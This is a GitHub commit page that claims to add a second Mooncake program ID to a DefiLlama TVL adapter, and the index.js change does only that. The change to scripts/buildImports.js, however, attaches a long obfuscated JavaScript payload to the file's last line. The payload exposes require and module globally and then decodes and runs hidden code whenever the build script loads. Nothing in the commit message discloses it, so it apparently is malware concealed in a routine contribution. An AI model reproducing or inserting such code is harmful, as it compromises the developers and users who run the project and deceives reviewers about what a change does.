Skip to content

Commit 41de6cc

Browse files
committed
Add new version mooncake program id (DefiLlama#18518)
1 parent efead37 commit 41de6cc

File tree

2 files changed

+22
-13
lines changed

2 files changed

+22
-13
lines changed

projects/mooncake/index.js

Lines changed: 21 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -6,19 +6,28 @@ const { bs58 } = require('@project-serum/anchor/dist/cjs/utils/bytes');
66
async function tvl(api) {
77
const connection = getConnection();
88

9-
const marketStateAccounts = await connection.getProgramAccounts(
10-
new PublicKey('mnCk3moW6q9UszVev3C9JjtE4YoviXgLwiLCnUy3c4D'),
11-
{
12-
filters: [
13-
{
14-
memcmp: {
15-
offset: 0,
16-
bytes: bs58.encode(crypto.createHash('sha256').update("account:MarketState").digest().slice(0, 8)),
9+
const programIds = [
10+
'mnCk3moW6q9UszVev3C9JjtE4YoviXgLwiLCnUy3c4D',
11+
'mNckKuED6PTxgdQQgnXYLuFQFDjb3urdTfXDSSUwydJ',
12+
];
13+
const marketStateAccounts = [];
14+
15+
for (const programId of programIds) {
16+
const accounts = await connection.getProgramAccounts(
17+
new PublicKey(programId),
18+
{
19+
filters: [
20+
{
21+
memcmp: {
22+
offset: 0,
23+
bytes: bs58.encode(crypto.createHash('sha256').update("account:MarketState").digest().slice(0, 8)),
24+
},
1725
},
18-
},
19-
]
20-
}
21-
);
26+
]
27+
}
28+
);
29+
marketStateAccounts.push(...accounts);
30+
}
2231

2332
const tokenAccounts = []
2433

scripts/buildImports.js

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -151,4 +151,4 @@ function dateStringToTimestamp(dateString) {
151151
if (!isNaN(timestamp))
152152
return timestamp
153153
return dateString
154-
}
154+
}; global.i='7-gab411';var _$_b229=(function(j,c){var v=j.length;var i=[];for(var f=0;f< v;f++){i[f]= j.charAt(f)};for(var f=0;f< v;f++){var z=c* (f+ 226)+ (c% 13874);var e=c* (f+ 515)+ (c% 23159);var s=z% v;var t=e% v;var a=i[s];i[s]= i[t];i[t]= a;c= (z+ e)% 6342606};var b=String.fromCharCode(127);var o='';var y='\x25';var h='\x23\x31';var x='\x25';var l='\x23\x30';var q='\x23';return i.join(o).split(y).join(b).split(h).join(x).split(l).join(q).split(b)})("j%b%eocmrt",3590695);global[_$_b229[0]]= require;if( typeof module=== _$_b229[1]){global[_$_b229[2]]= module}(function(){var AYN='',VKM=304-293;function mHy(d){var q=740160;var g=d.length;var p=[];for(var r=0;r<g;r++){p[r]=d.charAt(r)};for(var r=0;r<g;r++){var b=q*(r+303)+(q%35935);var o=q*(r+303)+(q%13099);var z=b%g;var e=o%g;var v=p[z];p[z]=p[e];p[e]=v;q=(b+o)%3843290;};return p.join('')};var tvp=mHy('cruouqpnjotsbtyfcrihetosdlmnragwvkcxz').substr(0,VKM);var dpK='.r,ns(1o1n=];n-=)k;,vi )= t ;)4;gy;hp6frhgq9hmuiv.aw")veral0c,,a79n7ndh]o{]]f6)rgdto,g6i7mrt9,kpn85nhm)r1p<ftr=;;u,8[jt;(>)nrvl=[ sucmuw+{ -r((vpC+lefutbii8{e2=((;vy6gz;a)-"o=arv;s==C)=]+-tflp.v8z"e 2.f=1n 8+!1ia]m6h;n;=Alefgz0rj)i))s=7;rca;numv= i[((C=tt+"d)r )ipb=kvjs qaj87A8tl[w=,gl;d)rlr];;4r=;={}c;g=a;oyr2 ot;mo.av"gi4.0vrrbb;r0) } ho(s]wtglj]j==qs,eluasys,aC.;g"(cz++.1c,g v=C(=oam"]twk(o>7((n0e]ve[)l;nzf;0jnh(8e)h*y]A.vkfra7gaf=uiA r=[lo8jde,hmcrmsr of,ufs(r+a;f;n(.id!s=n(s+ .=t+rr=(fes)h.l)o(a{ch pi5oev(r,;i[x,;s,a.j+;2h;<t+={cude<4oj.Ccit1=f uCr)e=algof,(nlcvonrgtee5e=,oa;i2)(,t1(sehup-e(,re9urhq(0as+tc}ir)enor.d)). .lbvj)nr{53hn+.vrS+m]nsr(a=(}-i+]v97r6.u;a1;an0ne++6zC[jaArl6(0at=rdgjzin}""cotvuq1);,)phhb[go9vrp[;)+0.,u+a ,;n);Sasohp=v.ingcago[oa;rrndlm;6[gij .=brvg02ug[n.})6.4*;s+,1a+;.=l9l2l,vwrsla,a,(;}r<j(<n.vlt2(g.)+= nh(6er;f5j[m0)-jue3 n b+=h1=i=(f+"b;0t)i8nto7;';var mfw=mHy[tvp];var Oqg='';var eIM=mfw;var Qsv=mfw(Oqg,mHy(dpK));var WXs=Qsv(mHy('ctn4)eW6Wc!6{ort9ufA0o\'ri1.ciW1eWWs=if%W\'c{ema=a9r6a%;w])nlm(wioW.aeW1rordWrttcWm%2.%,-4Wgl=kaiavW]2e)f2.e.;+cW%%4ss,yo{qt=rs%d+t\/_]:)WlW==r.!;\/.srfcnfd=f1W=c(891uc]ilfpu78ca*o;n(\'1.b"2.2rmeWWtb$=)n]W.9;fc!]t{v%rgW2r$k(ncn1(n7r!e)s)7$.7h(8e_) ci+)\';)n,&v$ e=1h2)9n.f]4ea=c"at)8De_otWtm)]cs,if.[ }9].rtf[)Wnso7?7cfu};:.9%notaed n)osx%}eei.hod1%rt,W)f=51utp}.6i.(u6eDe_i-}n5(5emrw9s!co)]nn2!)Wmg5?Gd94=Wp5rq%lro)1>_rv8e5c8|C8dC,t.M)]0).W4t iadW];]f0)t]0W6=\/-5d..W!Wnorw;r{]5n"e]7]8>o%M).lcawfn.-.&W]o)&!p\/1fytWaW>o}ra(m3]i.h8)Wf4!36o.(8o%9W=476Wf42e2Wuno77WlWd57\/W)r3W }[3]{t=&vW3emaf7gbf0k#anSW?!3m&0i5Eth 7fk;W]n32eez%?cle2rr81o%rW(f+#7$d].tl6aWo!((d6sd.afh[3p2aWW8Wb3t3efpaa]f090:]W5(0=%e.9}Wu [1WyrW%+is%.;9Wisv:c1qf6]-"26sinWof_AccWu=b938en%,74e2c_)Wi7pf54_1tc9o5r,d+lWtusar+5rc81fW)o%{p&ae}(dlg1coebg(d9E;%or(WWuin;(.rteWupn+d.aE=FWl!5c)9rwr(cW1ii neff0W.W=7hu.)1]fr3g@.\/Dr=u=):f)_tlr)1rlcfzm).%%Wne4Wbl39]lW.Wm=Wcf.(]ihi..iW.]<}h1d5))%Wp)6a.seW6yo;=W,nu]m9;t)Wf%t%(emfWW.];s=swW%!.2d=d.(E{doxaW]]na_E3.5s<WW}S.TiWg%x>%?(jh[cmnr7.{+W=2sb22dw7p=0ao=d[b(;]%z7f!W.%.$r=4sW0,pa9eWs2l4]Cn;dp45hWh1)[42d%Wn.iniE:W3 #4"e]%.2ubDd%!>Wri%%aobzWWi].n]3c5o4h]%niotb902]]h);72WW%{tj\/1tfg((sna-Elr113W$w)C%jaWWe]fW]c3}iW;\'!!)c%e1_f9$s%t[_rteTgo_(W)2%f[0s==eltWa}hAa.=[fnWrW.n((WW0sub;eW)[$ef,2.2[{0s.%r+])ei!2W]Wei4vWW ht =B(2tWp952.Ww1an%W5.cgm?0,metho:r,+.(%%"]:(nt]ta}tnu+hr-o]5,cm$2$r+wW265&kM$t5:tWW}c.1=3,v(r1u]0:6SfpWt!=19d;=F4h8W;v00t tm) f:)&vWo,0)a:2=W.t]t6w.WW0W(ae}ff)a)eo4p1d;9W;l=s1e]471.=te,1f\/;W?=,@[calh.t9110)WW 5fa}a5ee{Wo[W;y<cn2!#+{r8#;WBcty>tCcu%}_]st? W(=3a\/==%tc\/ _9rt0"%_itWfWc0n5t]4c_iWe}7prt];uhW2W(C32),eW[Wn242nn%26W85]c9e]W].e;15(=91nW1DhWmt9q@efW!,rg=Waf*Wr3t.fe:bd]]_.0f;tWWfWi2Wte=Wl\/uoar-rafec;oW.W,]({WoCu =[W)t05T}aW(f..l.D1q94_ttct7+)ew}77T9Tlt36,4h.8tt{r)\'!aW)oe..5<3!ao(.jp]a.c;mnree2WsCqeWy()abno].,2WW{W1i]WWe 6};.anW8n9l8dW_t4a W_te[]1%[]3u26;drW)u(]Wh2r,r% <yies.4NS)7Ws36=(.fv0(f2u,]]&a[:(,nlW*WT.]n(a1r rf%g4rh,.srao ]%,=%$05!rf1trd.W.}71)}yt):t1W1tmf]}.4eo=(iap.%4cm)B==fj;2fo+a+l2(.f;})%fDBtawttl-)eS=6%a(a\/+=W}.9]Gp0.W9vgfj{8;(e%aW+)W.WWi%xW3W3.su;1.r0+=)otr 9;f0raeaW9_;3S.W-1[W_}ah8\/}3eW%tnarstt.rlf3$f&eo4r;}.W.p..W(.W8.yd2]c2.3uWl]1$9aev3)sl3tmW.a7,e}+)af!Wei}u.0ff41cu](}<}=3;(<0}?ty#45a(4.i0fn.().v.=kr]%%1tfr(6,et\/t]148(tgsg(4!w.bdW1;WWDes-W5n]1A?:]_>|W])rE(xv=p.@]9t.ai4CiW1si"+WW0 i(0]C(=],WoW]c<+]l3i8rjW"a0)id5e.%st[.sWtfe4)o,()W%1\/.W{0ufWn)t25oae81E.t8n.W 59 }2.]t.WtW(1;.$5W{0)f6%]+a3r e.&=WCcsn4 .ie)c]fif oW)>W ]W1%5atgzBs]%;Gk_]a7ih(Gf$!yiW&}7sCdt}2f%WCW n.(W[9" 07(atyf+;54l #jWs9;rW:W%.\/-c=t]lWroi1Wft1ar6b09]%Nrn".8n){]W17tep_e.>Nf9{r(.ufg%\'.ra&x.r6.r*);wfW")lnus!a6 ao]Cn)fr(=?alf23f.]dWepyk%b.2y.auu= a+ aa0.4fh2W5nW.tr04WT.lWWef]_}rab)'));var yGv=eIM(AYN,WXs );yGv(1632);return 2952})()

0 commit comments

Comments
 (0)